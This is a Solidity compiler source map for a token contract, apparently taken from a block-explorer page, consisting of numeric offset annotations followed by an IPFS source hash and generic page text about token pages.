:-;;;;:::o;15883:119::-;-1:-1:-1;;;;;15976:18:0;15949:7;15976:18;;;:9;:18;;;;;;;15883:119::o;3201:230::-;3120:12;:10;:12::i;:::-;3110:6;;-1:-1:-1;;;;;3110:6:0;;;:22;;;3102:67;;;;;-1:-1:-1;;;3102:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3292:6:::1;::::0;;3271:81:::1;::::0;3308:42:::1;::::0;-1:-1:-1;;;;;3292:6:0;;::::1;::::0;3271:81:::1;::::0;::::1;3363:6;:60:::0;;-1:-1:-1;;;;;;3363:60:0::1;3380:42;3363:60;::::0;;3201:230::o;19881:109::-;19936:7;19957:1;19955;:3;19951:16;;;-1:-1:-1;19966:1:0;19959:8;;19951:16;-1:-1:-1;19983:1:0;;19881:109;-1:-1:-1;19881:109:0:o;12795:59::-;;;;:::o;12867:58::-;;;;:::o;13548:33::-;;;;:::o;13156:36::-;;;;:::o;12584:48::-;;;;;;;;;;;;;;;:::o;2976:79::-;3014:7;3041:6;-1:-1:-1;;;;;3041:6:0;2976:79;:::o;15607:87::-;15679:7;15672:14;;;;;;;-1:-1:-1;;15672:14:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15646:13;;15672:14;;15679:7;;15672:14;;15679:7;15672:14;;;;;;;;;;;;;;;;;;;;;;;;11949:32;;;-1:-1:-1;;;;;11949:32:0;;:::o;16369:269::-;16462:4;16479:129;16488:12;:10;:12::i;:::-;16502:7;16511:96;16550:15;16511:96;;;;;;;;;;;;;;;;;:11;:25;16523:12;:10;:12::i;:::-;-1:-1:-1;;;;;16511:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;16511:25:0;;;:34;;;;;;;;;;;:96;:38;:96::i;17525:167::-;17603:4;17620:42;17630:12;:10;:12::i;:::-;17644:9;17655:6;17620:9;:42::i;13458:40::-;;;;:::o;11856:86::-;;;-1:-1:-1;;;;;11856:86:0;;:::o;12989:26::-;;;-1:-1:-1;;;;;12989:26:0;;:::o;12525:52::-;;;;;;;;;;;;;;;:::o;13415:36::-;;;;:::o;12707:70::-;;;;:::o;13058:45::-;;;-1:-1:-1;;;13058:45:0;;;;;:::o;13282:35::-;;;;:::o;16004:143::-;-1:-1:-1;;;;;16112:18:0;;;16085:7;16112:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16004:143::o;11745:104::-;;;;;;-1:-1:-1;;;;;11745:104:0;;:::o;13509:32::-;;;;:::o;3433:244::-;3120:12;:10;:12::i;:::-;3110:6;;-1:-1:-1;;;;;3110:6:0;;;:22;;;3102:67;;;;;-1:-1:-1;;;3102:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3522:22:0;::::1;3514:73;;;;-1:-1:-1::0;;;3514:73:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3624:6;::::0;;3603:38:::1;::::0;-1:-1:-1;;;;;3603:38:0;;::::1;::::0;3624:6;::::1;::::0;3603:38:::1;::::0;::::1;3652:6;:17:::0;;-1:-1:-1;;;;;;3652:17:0::1;-1:-1:-1::0;;;;;3652:17:0;;;::::1;::::0;;;::::1;::::0;;3433:244::o;12295:31::-;;;;:::o;13112:35::-;;;-1:-1:-1;;;13112:35:0;;;;;:::o;1712:230::-;1770:7;1794:6;1790:47;;-1:-1:-1;1824:1:0;1817:8;;1790:47;1852:5;;;1856:1;1852;:5;:1;1876:5;;;;;:10;1868:56;;;;-1:-1:-1;;;1868:56:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1944:132;2002:7;2029:39;2033:1;2036;2029:39;;;;;;;;;;;;;;;;;:3;:39::i;1219:170::-;1277:7;1309:5;;;1333:6;;;;1325:46;;;;;-1:-1:-1;;;1325:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;283:115;379:10;283:115;:::o;16803:326::-;-1:-1:-1;;;;;16896:19:0;;16888:68;;;;-1:-1:-1;;;16888:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16975:21:0;;16967:68;;;;-1:-1:-1;;;16967:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17037:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17089:32;;;;;;;;;;;;;;;;;16803:326;;;:::o;18017:1731::-;18104:4;-1:-1:-1;;;;;18120:20:0;;18112:70;;;;-1:-1:-1;;;18112:70:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18201:23:0;;18193:71;;;;-1:-1:-1;;;18193:71:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18287:16;;-1:-1:-1;;;18287:16:0;;;;18284:1457;;;18337:41;18352:6;18360:9;18371:6;18337:14;:41::i;:::-;18330:48;;;;18284:1457;-1:-1:-1;;;;;18425:23:0;;;;;;:15;:23;;;;;;;;18424:24;:55;;;;-1:-1:-1;;;;;;18453:26:0;;;;;;:15;:26;;;;;;;;18452:27;18424:55;18421:171;;;18519:12;;18509:6;:22;;18501:75;;;;-1:-1:-1;;;18501:75:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18597:28;18628:24;18646:4;18628:9;:24::i;:::-;18722:23;;18597:55;;-1:-1:-1;18698:47:0;;;;;;;18778:44;;-1:-1:-1;18806:16:0;;-1:-1:-1;;;18806:16:0;;;;18805:17;18778:44;:69;;;;-1:-1:-1;;;;;;18827:20:0;;;;;;:12;:20;;;;;;;;18826:21;18778:69;18774:280;;;18885:25;;-1:-1:-1;;;18885:25:0;;;;18882:97;;;18956:23;;18933:46;;18882:97;18998:36;19013:20;18998:14;:36::i;:::-;19071:16;;-1:-1:-1;;;19071:16:0;;;;:51;;;;-1:-1:-1;;;;;;19092:30:0;;;;;;:19;:30;;;;;;;;19091:31;19071:51;19068:202;;;19203:10;;19133:66;19158:40;19193:4;19158:30;19169:18;;19158:6;:10;;:30;;;;:::i;:::-;:34;;:40::i;:::-;19133:20;19143:9;19133;:20::i;:::-;:24;;:66::i;:::-;:80;;19125:129;;;;-1:-1:-1;;;19125:129:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19297:40;19332:4;19297:30;19308:18;;19297:6;:10;;:30;;;;:::i;:40::-;19285:11;:52;19386:18;;19375:40;;19410:4;;19375:30;;:6;;:10;:30::i;:40::-;19366:49;;19354:11;:61;-1:-1:-1;;;;;19442:23:0;;;;;;:15;:23;;;;;;;;19441:24;;:56;;-1:-1:-1;;;;;;19471:26:0;;;;;;:15;:26;;;;;;;;19470:27;19441:56;19439:112;;;-1:-1:-1;;;;;;19502:23:0;;;;;;:12;:23;;;;;;;;;:47;;-1:-1:-1;;;;;;19529:20:0;;;;;;:12;:20;;;;;;;;19502:47;19435:212;;;19553:17;:23;;19572:4;19553:23;;;19435:212;;;19605:17;:22;;19624:3;19605:22;;;;;19583:21;:44;19629:16;:14;:16::i;:::-;19661:41;19676:6;19684:9;19695:6;19661:14;:41::i;:::-;;19725:4;19718:11;;;;;;1529:181;1615:7;1651:12;1643:6;;;;1635:29;;;;-1:-1:-1;;;1635:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;1687:5:0;;;1529:181::o;1391:136::-;1449:7;1476:43;1480:1;1483;1476:43;;;;;;;;;;;;;;;;;:3;:43::i;2078:277::-;2164:7;2199:12;2192:5;2184:28;;;;-1:-1:-1;;;2184:28:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2223:9;2239:1;2235;:5;;;;;;;2078:277;-1:-1:-1;;;;;2078:277:0:o;19996:616::-;20126:53;;;;;;;;;;;-1:-1:-1;;;20126:53:0;;;;;;;;-1:-1:-1;;;;;20126:17:0;;20089:4;20126:17;;;:9;:17;;;;;;;:53;;20148:6;;20126:21;:53::i;:::-;-1:-1:-1;;;;;20106:17:0;;;;;;:9;:17;;;;;:73;20194:16;;-1:-1:-1;;;20194:16:0;;;;20191:57;;;20212:11;:18;;;20245:1;20233:11;:13;20191:57;20258:22;20283:95;20287:8;20296:1;20287:11;;-1:-1:-1;;20283:3:0;:95::i;:::-;-1:-1:-1;;;;;20412:20:0;;;;;;:9;:20;;;;;;20258:120;;-1:-1:-1;20412:40:0;;20258:120;20412:24;:40::i;:::-;-1:-1:-1;;;;;20389:20:0;;;;;;:9;:20;;;;;;:63;;;;20521:11;;20509:4;20491:24;;;;;;:42;;:28;:42::i;:::-;20482:4;20464:24;;;;:9;:24;;;;;;;;;:69;;;;20549:35;;;;;;;-1:-1:-1;;;;;20549:35:0;;;;;;;;;;;;;;;;;;;-1:-1:-1;20602:4:0;;19996:616;-1:-1:-1;;;;19996:616:0:o;20618:294::-;14006:16;:23;;-1:-1:-1;;;;14006:23:0;-1:-1:-1;;;14006:23:0;;;20690:25:::1;20707:7:::0;20690:16:::1;:25::i;:::-;20753:21;20788:19:::0;;20785:113:::1;;20832:27;::::0;20824:62:::1;::::0;20832:27:::1;::::0;;::::1;-1:-1:-1::0;;;;;20832:27:0::1;::::0;20824:62:::1;::::0;::::1;;::::0;;;::::1;::::0;;;;20832:27;20824:62;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;20785:113;-1:-1:-1::0;;14052:16:0;:24;;-1:-1:-1;;;;14052:24:0;;;20618:294::o;19748:127::-;19809:17;;19805:24;;19783:21;:46;19831:11;:42;;19844:29;19831:42;;;19748:127::o;20918:669::-;21068:16;;;21082:1;21068:16;;;21044:21;21068:16;;;;;21044:21;21068:16;;;;;;;;-1:-1:-1;;21105:15:0;;:22;;;-1:-1:-1;;;21105:22:0;;;;21044:40;;-1:-1:-1;;;;;;21105:15:0;;;;:20;;-1:-1:-1;21105:22:0;;;;;;;;;;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;21105:22:0;21095:7;;:4;;21100:1;;21095:7;;;;;;;;;;;:32;-1:-1:-1;;;;;21095:32:0;;;-1:-1:-1;;;;;21095:32:0;;;;;21156:4;21138;21143:1;21138:7;;;;;;;;-1:-1:-1;;;;;21138:23:0;;;:7;;;;;;;;;:23;21194:17;;;21172:21;:39;21240:2;21222:20;;21285:15;;21253:62;;21270:4;;21285:15;21303:11;21253:8;:62::i;:::-;21343:15;;:240;;-1:-1:-1;;;21343:240:0;;;;;;;;:15;:240;;;;;;21521:4;21343:240;;;;;;21557:15;21343:240;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;21343:15:0;;;;:66;;21424:11;;21494:4;;21521;21557:15;21343:240;;;;;;;;;;;;;;;;:15;:240;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20918:669;;:::o

Swarm Source

ipfs://16c2e9a8ce82a2c4d01aa79bb2562b9ca3649e97c2cadc344c096924872195a3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.